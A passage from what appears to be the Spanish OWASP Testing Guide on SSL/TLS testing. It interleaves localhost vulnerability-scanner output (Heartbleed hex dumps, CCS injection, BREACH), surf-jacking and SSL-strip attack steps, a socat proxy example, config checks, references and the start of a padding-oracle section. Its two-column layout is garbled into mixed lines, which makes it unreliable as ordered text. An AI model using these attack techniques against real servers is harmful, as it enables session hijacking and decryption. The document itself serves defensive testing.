01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G. 00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O. 00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W. 00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._. 00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g. 01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.”.#.$.%.&.’.
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o. 01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w. 01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.

261
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?. 0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G. 00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O. 00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W. 00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._. 00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m.............
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g. 01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.”.#.$.%.&.’.
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o. 01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w. 01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7.
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~... 01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?.
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4. 01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G.
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2............... 01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#........... 0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}..... 0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._.
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.
[-] Closing connection 0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w.
[-] Connecting to 127.0.0.1:443 using TLSv1.1 0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~...
[-] Sending ClientHello 02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
[-] ServerHello received 02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
[-] Sending Heartbeat 0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#...........
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is 0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....
vulnerable over TLSv1.1
0000: 02 FF FF 08 03 02 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....
[-] Connecting to 127.0.0.1:443 using TLSv1.2
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........
[-] Sending ClientHello
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........
[-] ServerHello received
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.”.
[-] Sending Heartbeat
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.’.(.).*.
[Vulnerable] Heartbeat response was 16384 bytes instead of 3! 127.0.0.1:443 is
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2. vulnerable over TLSv1.2
262
0000: 02 FF FF 08 03 03 53 48 73 F0 7C CA C1 D9 02 04 ......SHs.|.....
0010: F2 1D 2D 49 F5 12 BF 40 1B 94 D9 93 E4 C4 F4 F0 ..-I...@........ [!] Vulnerable to Heartbleed bug (CVE-2014-0160) mentioned in

http://heartbleed.com/
0020: D0 42 CD 44 A2 59 00 02 96 00 00 00 01 00 02 00 .B.D.Y..........
[!] Vulnerability Status: VULNERABLE
0060: 1B 00 1C 00 1D 00 1E 00 1F 00 20 00 21 00 22 00 .......... .!.”.
0070: 23 00 24 00 25 00 26 00 27 00 28 00 29 00 2A 00 #.$.%.&.’.(.).*.
0080: 2B 00 2C 00 2D 00 2E 00 2F 00 30 00 31 00 32 00 +.,.-.../.0.1.2.
=====================================
0090: 33 00 34 00 35 00 36 00 37 00 38 00 39 00 3A 00 3.4.5.6.7.8.9.:.
00a0: 3B 00 3C 00 3D 00 3E 00 3F 00 40 00 41 00 42 00 ;.<.=.>.?.@.A.B.
Loading module: CCS Injection script by TripWire VERT ...
00b0: 43 00 44 00 45 00 46 00 60 00 61 00 62 00 63 00 C.D.E.F.`.a.b.c.
00c0: 64 00 65 00 66 00 67 00 68 00 69 00 6A 00 6B 00 d.e.f.g.h.i.j.k.
Checking localhost:443 for OpenSSL ChangeCipherSpec (CCS) Injection bug
00d0: 6C 00 6D 00 80 00 81 00 82 00 83 00 84 00 85 00 l.m............. (CVE-2014-0224) ...
01a0: 20 C0 21 C0 22 C0 23 C0 24 C0 25 C0 26 C0 27 C0 .!.”.#.$.%.&.’.
01b0: 28 C0 29 C0 2A C0 2B C0 2C C0 2D C0 2E C0 2F C0 (.).*.+.,.-.../. [!] The target may allow early CCS on TLSv1.2
01c0: 30 C0 31 C0 32 C0 33 C0 34 C0 35 C0 36 C0 37 C0 0.1.2.3.4.5.6.7. [!] The target may allow early CCS on TLSv1.1
01d0: 38 C0 39 C0 3A C0 3B C0 3C C0 3D C0 3E C0 3F C0 8.9.:.;.<.=.>.?. [!] The target may allow early CCS on TLSv1
01e0: 40 C0 41 C0 42 C0 43 C0 44 C0 45 C0 46 C0 47 C0 @.A.B.C.D.E.F.G. [!] The target may allow early CCS on SSLv3
01f0: 48 C0 49 C0 4A C0 4B C0 4C C0 4D C0 4E C0 4F C0 H.I.J.K.L.M.N.O.
0200: 50 C0 51 C0 52 C0 53 C0 54 C0 55 C0 56 C0 57 C0 P.Q.R.S.T.U.V.W.
0210: 58 C0 59 C0 5A C0 5B C0 5C C0 5D C0 5E C0 5F C0 X.Y.Z.[.\.].^._. [-] This is an experimental detection script and does not definitively determine
vulnerable server status.
0220: 60 C0 61 C0 62 C0 63 C0 64 C0 65 C0 66 C0 67 C0 `.a.b.c.d.e.f.g.
0230: 68 C0 69 C0 6A C0 6B C0 6C C0 6D C0 6E C0 6F C0 h.i.j.k.l.m.n.o.
[!] Potentially vulnerable to OpenSSL ChangeCipherSpec (CCS) Injection
0240: 70 C0 71 C0 72 C0 73 C0 74 C0 75 C0 76 C0 77 C0 p.q.r.s.t.u.v.w. vulnerability (CVE-2014-0224) mentioned in http://ccsinjection.lepidum.co.jp/
0250: 78 C0 79 C0 7A C0 7B C0 7C C0 7D C0 7E C0 7F C0 x.y.z.{.|.}.~... [!] Vulnerability Status: Possible
02c0: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
02d0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
0300: 10 00 11 00 23 00 00 00 0F 00 01 01 00 00 00 00 ....#........... =====================================
0bd0: 00 00 00 00 00 00 00 00 00 12 7D 01 00 10 00 02 ..........}.....

263
Checking localhost:443 for HTTP Compression support against BREACH

vulnerability (CVE-2013-3587) ...
=====================================
[*] HTTP Compression: DISABLED
[*] Immune from BREACH attack mentioned in https://media.blackhat.com/us-

13/US-13-Prado-SSL-Gone-in-30-seconds-A-BREACH-beyond-CRIME-WP.pdf Checking localhost:443 for correct use of Strict Transport Security (STS) response
header (RFC6797) ...
[*] Vulnerability Status: No
[!] STS response header: NOT PRESENT
[!] Vulnerable to MITM threats mentioned in

--------------- RAW HTTP RESPONSE --------------- https://www.owasp.org/index.php/HTTP_Strict_Transport_Security#Threats
HTTP/1.1 200 OK
Date: Wed, 23 Jul 2014 13:48:07 GMT
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7 --------------- RAW HTTP RESPONSE ---------------
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/; HTTP/1.1 200 OK

secure
Date: Wed, 23 Jul 2014 13:48:07 GMT
Set-Cookie: SessionChallenge=yyy; expires=Wed, 23-Jul-2014 12:48:07 GMT;
path=/ Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7
Content-Length: 193 X-Powered-By: PHP/5.4.7
Connection: close Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/;

secure
path=/
<html> Content-Length: 193
<head> Connection: close
<title>Login page </title> Content-Type: text/html
</head>
<body> <html>
<script src=”http://othersite/test.js”></script> <head>
<title>Login page </title>
<link rel=”stylesheet” type=”text/css” href=”http://somesite/test.css”> </head>

264
<body> =====================================
<script src=”http://othersite/test.js”></script>
Checking localhost:443 for ROBUST use of anti-caching mechanism ...
<link rel=”stylesheet” type=”text/css” href=”http://somesite/test.css”>
[!] Cache Control Directives: NOT PRESENT
[!] Browsers, Proxies and other Intermediaries will cache SSL page and sensitive
information will be leaked.
=====================================
Checking localhost for HTTP support against HTTPS Stripping attack ...
-------------------------------------------------
[!] HTTP Support on port [80] : SUPPORTED
[!] Vulnerable to HTTPS Stripping attack mentioned in

https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09- Robust Solution:
Marlinspike-Defeating-SSL.pdf

- Cache-Control: no-cache, no-store, must-revalidate, pre-check=0,
post-check=0, max-age=0, s-maxage=0
- Ref:
https://www.owasp.org/index.php/Testing_for_Browser_cache_weakness_(OTG-
===================================== AUTHN-006)
http://msdn.microsoft.com/en-us/library/ms533020(v=vs.85).aspx
Checking localhost:443 for HTTP elements embedded in SSL page ...
=====================================
[!] HTTP elements embedded in SSL page: PRESENT
[!] Vulnerable to MITM malicious content injection attack Checking localhost:443 for Surf Jacking vulnerability (due to Session Cookie
missing secure flag) ...
[!] Secure Flag in Set-Cookie: PRESENT BUT NOT IN ALL COOKIES

--------------- HTTP RESOURCES EMBEDDED ---------------
[!] Vulnerable to Surf Jacking attack mentioned in
- http://othersite/test.js https://resources.enablesecurity.com/resources/Surf%20Jacking.pdf
- http://somesite/test.css [!] Vulnerability Status: VULNERABLE

265
--------------- RAW HTTP RESPONSE --------------- [!] Vulnerable to MITM attack described in
[!] Vulnerable to MITM attack described in
HTTP/1.1 200 OK
Date: Wed, 23 Jul 2014 13:48:07 GMT http://www.isg.rhul.ac.uk/tls/
Server: Apache/2.4.3 (Win32) OpenSSL/1.0.1c PHP/5.4.7 [!] Vulnerability Status: VULNERABLE
Set-Cookie: SessionID=xxx; expires=Wed, 23-Jul-2014 12:48:07 GMT; path=/;

secure

path=/ =====================================
Content-Length: 193
Connection: close Checking localhost:443 for TLS 1.1 support ...
Checking localhost:443 for TLS 1.2 support ...
=====================================
[*] TLS 1.1, TLS 1.2: SUPPORTED
Checking localhost:443 for ECDHE/DHE ciphers against FORWARD SECRECY [*] Immune from BEAST attack mentioned in
support ... http://www.infoworld.com/t/security/red-alert-https-has-been-hacked-174025
[*] Forward Secrecy: SUPPORTED
[*] Connected using cipher - TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA

on protocol - TLSv1
[*] Attackers will NOT be able to decrypt sniffed SSL packets even if they have
compromised private keys. =====================================
Loading module: sslyze by iSecPartners ...
=====================================
Checking localhost:443 for Session Renegotiation support (CVE-2009-3555,CVE-

2011-1473,CVE-2011-5094) ...
Checking localhost:443 for RC4 support (CVE-2013-2566) ...
[*] Secure Client-Initiated Renegotiation : NOT SUPPORTED

[!] RC4: SUPPORTED
[*] Mitigated from DOS attack (CVE-2011-1473,CVE-2011-5094) mentioned in

266
https://www.thc.org/thc-ssl-dos/ TLS_ECDH_anon_WITH_RC4_128_SHA
[*] Vulnerability Status: No TLS_ECDH_anon_WITH_3DES_EDE_CBC_SHA
TLS_ECDH_anon_WITH_AES_256_CBC_SHA
(TLSv1.0: same as above)
[*] INSECURE Client-Initiated Renegotiation : NOT SUPPORTED (TLSv1.1: same as above)
[*] Immune from TLS Plain-text Injection attack (CVE-2009-3555) - (TLSv1.2: same as above)
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-3555
[!] LANE ciphers : SUPPORTED

=====================================
[!] Attackers may be ABLE to recover encrypted packets.

Loading module: TestSSLServer by Thomas Pornin ...
Checking localhost:443 for SSL version 2 support ...
=====================================
[*] SSL version 2 : NOT SUPPORTED
[*] Immune from SSLv2-based MITM attack

Checking localhost:443 for GCM/CCM ciphers support against Lucky13 attack
[*] Vulnerability Status: No (CVE-2013-0169) ...
===================================== Supported GCM cipher suites against Lucky13 attack:
Checking localhost:443 for LANE (LOW,ANON,NULL,EXPORT) weak ciphers TLSv1.2

support ...
Supported LANE cipher suites:
SSLv3
RSA_EXPORT_WITH_RC4_40_MD5
TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256
RSA_EXPORT_WITH_RC2_CBC_40_MD5
TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
RSA_EXPORT_WITH_DES40_CBC_SHA
RSA_WITH_DES_CBC_SHA
DHE_RSA_EXPORT_WITH_DES40_CBC_SHA
[*] GCM/CCM ciphers : SUPPORTED
DHE_RSA_WITH_DES_CBC_SHA
[*] Immune from Lucky13 attack mentioned in
267
http://www.isg.rhul.ac.uk/tls/Lucky13.html
[*] Vulnerability Status: No Estos controles deben aplicarse a todos los canales de comunicación SSL-
wrapped visibles utilizados por la aplicación. Aunque este es el servicio https
que generalmente se ejecuta en el puerto 443, puede haber servicios
adicionales involucrados dependiendo de la arquitectura de las aplicaciones
===================================== web y de los problemas de implementación (si queda un puerto HTTPS
administrativo abierto, servicios HTTPS en puertos no estándar, etc.).
Checking localhost:443 for TLS Compression support against CRIME (CVE-

2012-4929) & TIME attack ... Por lo tanto, se aplican estos controles a todos los puertos SSL-wrapped que se
han descubierto. Por ejemplo, el scanner nmap ofrece un modo de exploración
(activado por el interruptor de línea de comandos – sV) que identifica
servicios SSL-wrapped. El escáner de vulnerabilidades Nessus tiene la
[*] TLS Compression : DISABLED capacidad de realizar comprobaciones SSL en todos los servicios SSL/TLS-
wrapped.
[*] Immune from CRIME & TIME attack mentioned in
https://media.blackhat.com/eu-13/briefings/Beery/bh-eu-13-a-perfect-crime-beery-
wp.pdf
Ejemplo 1. Prueba de la validez del certificado (manualmente)
En lugar de proporcionar un ejemplo ficticio, esta guía incluye un ejemplo
anónimo de la vida real para subrayar cuán a menudo uno tropieza con sitios
https cuyos certificados son inexactos con respecto a su denominación. Las
siguientes capturas de pantalla se refieren a un sitio regional de una empresa
de IT de alto perfil.
=====================================
Estamos visitando un sitio de .it y el certificado fue emitido para un sitio

.com. Internet Explorer advierte que el nombre del certificado no coincide con
[+] Breacher finished scanning in 12 seconds.
el nombre del sitio.
[+] Get your latest copy at http://yehg.net/
Prueba de la validez de los certificados SSL - de clientes y servidores
En primer lugar, actualice el navegador porque caducan los certificados CA y

en cada versión del navegador estos se renuevan. Examine la validez de los
certificados utilizados por la aplicación. Los navegadores emitirán una
advertencia cuando encuentren certificados expirados, emitidos por CA no
confiables y/o que no coincidan el nombre con el sitio al que debe referirse.
Haga clic sobre el candado que aparece en la ventana del navegador cuando
visita un sitio HTTPS; los evaluadores pueden consultar información
relacionada con el certificado que incluye al emisor, el período de validez, las
características de cifrado, etc.
Si la aplicación requiere un certificado del cliente, el evaluador tendrá que

Advertencia emitida por Microsoft Internet Explorer
instalar uno para acceder a ésta. La información del certificado está disponible
en el navegador mediante la inspección de los correspondientes certificados en
la lista de certificados instalados.
268
El mensaje emitido por Firefox es diferente. Firefox se queja porque no puede • La victima se registra en una página web segura https://somesecuresite/.
determinar la identidad del sitio .com al que el certificado se refiere porque no
conoce la CA que firmó el certificado. • La página web segura emite una cookie de sesión cuando el cliente se
conecta.
• Mientras está conectado, la víctima abre una nueva ventana de navegación y

De hecho, Internet Explorer y Firefox no vienen precargados con la misma va a http://examplesite/
lista de CA. Por lo tanto, puede variar el comportamiento con diferentes
navegadores. • Un atacante sentado en la misma red es capaz de ver el tráfico transparente
en http://examplesite.
• El atacante envía un “301 Moved Permanently” en respuesta al tráfico

transparente en http://examplesite. La respuesta contiene el encabezado
“Location: http://somesecuresite /”, lo que hace parecer que examplesite está
enviando al navegador hacia somesecuresite. Note que el esquema de la URL
is HTTP y no HTTPS.
• El navegador de la víctima inicia una nueva conexión con texto transparente

con http://somesecuresite/ y envía una solicitud HTTP que contiene la cookie
en el encabezado HTTP en texto transparente.
• El atacante ve este tráfico y registra la cookie para su uso posterior.
Para comprobar si una web es vulnerable, realice las siguientes pruebas:
Advertencia emitida por Mozilla Firefox [1] Revise si el sitio web soporta protocolos HTTP y HTTPS.
[2] Revise si las cookies no tienen banderas de “Seguridad”.
Prueba de otras vulnerabilidades
Como se mencionó anteriormente, existen otros tipos de vulnerabilidades que SSL Strip
no están relacionadas con el protocolo SSL/TLS utilizado, las suites de cifrado
o certificados. Algunas aplicaciones soportan HTTP y HTTPS, ya sea por el uso o porque lo
usuarios pueden escribir ambas direcciones y acceder al sitio. A menudo los
usuarios entran en un sitio web de HTTPS por un enlace o una redirección.
Aparte de otras vulnerabilidades que se discuten en otras partes de esta guía,

existe una vulnerabilidad cuando el servidor proporciona al sitio web los
protocolos HTTP y HTTPS y permite a un atacante forzar a una víctima a Los sitios de banca personal tienen una configuración similar, con un registro
utilizar un canal no seguro en lugar de uno seguro. de iframed o un formulario con un atributo de acción sobre HTTPS, pero la
página en HTTP.
Surf Jacking (Secuestro de navegación)

Un atacante en una posición privilegiada - como se describe en SSL strip [8] -
El ataque de Surf Jacking [7] fue presentado primero por Sandro Gauci y puede interceptar el tráfico cuando el usuario está en el sitio http y
permite a un atacante secuestrar una sesión HTTP, incluso cuando la conexión manipularlo para obtener un ataque de Man In The Middle en HTTPS. Una
de la víctima está cifrada mediante SSL o TLS. aplicación es vulnerable si es compatible con HTTP y HTTPS.
El siguiente es un escenario de cómo puede ocurrir el ataque: Pruebe mediante un proxy HTTP

269
Dentro de entornos corporativos, los evaluadores pueden ver los servicios que
no son directamente accesibles y pueden acceder a ellos a través del proxy
HTTP mediante el método CONNECT [36]. Ejemplo 10: Apache
Para revisar las suites y protocolos de cifrado soportados por el servidor
La mayoría de las herramientas no funcionan en este escenario porque tratan web Apache2, abra el archivo ssl.conf y busque las directivas
de conectarse al puerto tcp deseado para iniciar el protocolo de conexión SSLCipherSuite, SSLProtocol, SSLHonorCipherOrder,
SSL/TLS. Con la ayuda de software de reinstalación como socat, [37] los SSLInsecureRenegotiation y SSLCompression.
probadores pueden activar esas herramientas para usarlas con los servicios
detrás de una proxy HTTP.
Prueba de la validez de los certificados SSL - de clientes y servidores
Ejemplo 8. Pruebe mediante un proxy HTTP Examine la validez de los certificados utilizados por la aplicación a nivel de
cliente y servidor. El uso de los certificados es principalmente a nivel del
Para conectarse con destined.application.lan:443 mediante un proxy servidor web, sin embargo, puede haber rutas de comunicación protegidas por
10.13.37.100:3128 ejecute socat como sigue: SSL (por ejemplo, hacia el DBMS). Los evaluadores deben revisar la
arquitectura de las aplicaciones para identificar todos los canales SSL
$ socat TCP-LISTEN:9999,reuseaddr,fork protegido.
PROXY:10.13.37.100:destined.application.lan:443,proxyport=3128
Herramientas
Entonces el evaluador puede apuntar todas las demás herramientas hacia
localhost:9999: • [21][Qualys SSL Labs - SSL Server Test: ssllabs.com
$ openssl s_client -connect localhost:9999 • [27] [Tenable - Nessus Vulnerability Scanner tenable.com: incluye algunos
plugins para probar diferentes vulnerabilidades relacionadas con SSL,
certificados y la presencia de autenticación HTTP básica sin SSL.
Todas las conexiones a localhost:9999 serán efectivamente retransmitidas por • [32] [TestSSLServer: bolet.org]: un scanner java - y también un ejecutable
socat mediante un proxy hacia destined.application.lan:443. de windows - incluye pruebas para suites de cifrado, CRIME y BEAST
• [33] [sslyze: github.com]: es un script python para revisar vulnerabilidades

en SSL/TLS.
Revisión de la configuración
• [28] [SSLAudit | code.google.com: un escáner ejecutable con un script perl
Prueba de las suites de cifrado SSL/TLS débiles /windows de acuerdo a la guía Qualys SSL Labs Rating Guide.
Compruebe la configuración de los servidores web que ofrecen servicios de • [29] [SSLScan | sourceforge.net [SSL Tests | pentesterscripting.com l_tests]:
https. Si la aplicación web proporciona otros servicios SSL/TLS wrapped, un SSL Scanner y un wrapper para enumerar las vulnerabilidades SSL.
éstos deben comprobarse también.
• [31] [nmap | nmap.org]: puede ser utilizado primeramente para identificar
servicios basados en SSL y luego verificar el certificado y vulnerabilidades
SSL/TLS. Particularmente tiene algunos scripts para revisar [Certificate and
Ejemplo 9. Windows Server SSLv2 | nmap.org] y [SSL/TLS protocols/ciphers | nmap.org] soportados con
un rango interno.
Revise la configuración en Microsoft Windows Server (2000, 2003 y 2008)
usando la clave de registro: • [30] [curl | curl.haxx.se] y [openssl | openssl.org]: pueden ser usados para
consultas manuales de servicios SSL/TLS
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityPr
oviders\SCHANNEL\ • [9] [Stunnel | stunnel.org]: una clase notable de clientes SSL es aquella de
los proxies SSL como stunnel que puede utilizarse para permitir que
herramientas activas de no SSL se comuniquen con los servicios SSL)
que tiene algunas subclaves como cifras, protocolos y • [37] [socat | dest-unreach.org]: relay multipropósito
KeyExchangeAlgorithms.

270
• [38] [testssl.sh | testssl.sh ] • [14] [Qualys SSL Labs - SSL Server Rating Guide | ssllabs.com]
• [20] [Qualys SSL Labs - SSL Threat

Model|https://www.ssllabs.com/projects/ssl-threat-model/index.html]
Referencias
• [18] [Qualys SSL Labs - Forward Secrecy |
Recursos OWASP
community.qualys.com]
• [5] [Guía de pruebas OWASP - Pruebas de los atributos de las cookies
(OTG-SESS-002) | owasp.org] • [15] [Qualys SSL Labs - RC4 Usage | community.qualys.com]
• [4][ Guía de pruebas OWASP - Pruebe la configuración de la infraestructura • [16] [Qualys SSL Labs - BEAST | community.qualys.com]
y la red (OTG-CONFIG-001) | owasp.org]
• [17] [Qualys SSL Labs - CRIME | community.qualys.com]
• [6] [Guía de pruebas OWASP - Pruebe el HTTP Strict Transport Security
(OTG-CONFIG-007) | owasp.org] • [7] [SurfJacking attack|resources.enablesecurity.com]
• [2] [Guía de pruebas OWASP - Pruebas para el envío de información • [8] [SSLStrip attack | thoughtcrime.org]
sensible por canales sin encriptar (OTG-CRYPST-003) | owasp.org]
• [19] [PCI-DSS v2.0 | pcisecuritystandards.org]
• [3] [Guía de pruebas OWASP - Pruebas del transporte de credenciales en un
canal encriptado (OTG-AUTHN-001) | owasp.org] • [35] [Xiaoyun Wang, Hongbo Yu: How to Break MD5 and Other Hash
Functions| springer.com]
• [22] [OWASP Cheat sheet - Transport Layer Protection |
owasp.org ]
Prueba del Padding Oracle (Relleno de Oracle)(OTG-CRYPST-002)
• [23] [OWASP TOP 10 2013 - A6 Sensitive Data Exposure |owasp.org]
Resumen
• [24] [OWASP TOP 10 2010 - A9 Insufficient Transport Layer Protection |
owasp.org] Un padding oracle es una función de la aplicación que decodifica datos
encriptados que proporciona el cliente, por ejemplo, estado de sesión interna
• [25] [OWASP ASVS 2009 - Verification 10 | code.google.com] almacenado en el cliente y fuga el estado de la validez del padding después de
descifrado.
• [26] [OWASP Application Security FAQ - Cryptography/SSL | owasp.org]
La existencia de un padding oracle permite a un atacante descifrar datos

Libros Blancos encriptados y cifrar datos arbitrarios sin conocer la clave utilizada para estas
operaciones criptográficas. Esto puede llevar a la fuga de datos sensibles o a
• [1] [RFC5246 - The Transport Layer Security (TLS) Protocol Version 1.2 una vulnerabilidad de privilegios escalada si la aplicación asume la integridad
(Updated by RFC 5746, RFC 5878, RFC 6176) | de los datos cifrados.
ietf.org]
• [36] [RFC2817 - Upgrading to TLS Within HTTP/1.1|] Los bloques de cifrado encriptan los datos en bloques de tamaños
determinados. Los tamaños de bloque utilizados por los cifradores comunes
• [34] [RFC6066 - Transport Layer Security (TLS) Extensions: Extension son de 8 y 16 bytes. Los datos cuyo tamaño no coincide con un múltiplo del
Definitions | ietf.org] tamaño del bloque de cifrado usado, tienen que rellenarse de una forma
específica para que el decodificador pueda eliminar el padding. Un esquema
• [11] [SSLv2 Protocol Multiple Weaknesses | osvdb.org] común de padding utilizado es PKCS #7. Llena los bytes restantes con el valor
de la longitud del padding.
• [12] [Mitre - TLS Renegotiation MiTM | cve.mitre.org]
• [13] [Qualys SSL Labs - TLS Renegotiation DoS |

Ejemplo:
community.qualys.com]
• [10] [Qualys SSL Labs - SSL/TLS Deployment Best Practices | ssllabs.com]

271
Si el padding tiene la longitud de 5 bytes, el valor del byte 0 x 05 se repite Primero deben identificarse los puntos de entrada posibles para los padding
cinco veces después del texto. oracles. Generalmente deben cumplirse las siguientes condiciones:
Una condición de error está presente si el padding no coincide con la sintaxis [1] Los datos están codificados. Son buenos candidatos los valores que
del esquema de padding usado. Un padding oracle está presente si una parecen aleatorios.
aplicación filtra esta condición de error de padding específico para datos
cifrados proporcionados por el cliente. [2] Se utiliza un cifrado de bloque. La longitud del texto cifrado decodificado
(Base64 se utiliza a menudo); es un múltiplo de los tamaños de bloque de
cifrado comunes como 8 o 16 bytes. Los diferentes textos de cifrado (por
ejemplo, reunidos en diferentes sesiones o manipulando el estado de la sesión)
Esto puede ocurrir exponiendo las excepciones (e.g. BadPaddingException en comparten un divisor común en la longitud.
Java) directamente, por diferencias sutiles en las respuestas enviadas al cliente
o por otro canal lateral como comportamiento de sincronización.
Ejemplo:
Ciertos modos de operación criptográfica permiten ataques de bit-flipping, Dg6W8OiWMIdVokIDH15T/A== resulta despues de decodificar Base64 en
donde voltear un bit en el texto de cifrado hace que el bit también se voltee en 0e 0e 96 f0 e8 96 30 87 55 a2 42 03 1f 5e 53 fc. Esto parece ser aleatorio y
el texto simple. con una longitud de 16 bytes.
Voltear un bit en el enesimo bloque en los datos encriptados de CBC causa Si se identifica un valor ingresado que es un buen candidato, debe verificarse
que el mismo bit en el (enesimo+1) bloque se voltee en los datos descifrados. el comportamiento de la aplicación con la manipulación del valor codificado
El enesimo bloque del texto cifrado que se decodifica es inhabilitado con esta en referencia al bit.
manipulación.
Normalmente este valor Base64 codificado incluirá el vector de inicialización

El ataque de padding oracle permite que un atacante descifre datos (IV) que se antepone al texto cifrado. Dado un texto plano p y un cifrado con
codificados sin el conocimiento de la clave de cifrado y el cifrado utilizado un bloque de tamaño n, el número de bloques será b = ceil (length(b) / n).
mediante el envío de textos, hábilmente manipulados, de cifrado al padding
oracle y observa los resultados devueltos por este.
La longitud de la cadena cifrada será y=(b+1)*n debido al vector de

inicialización. Para verificar la presencia del oráculo, decodifique la cadena,
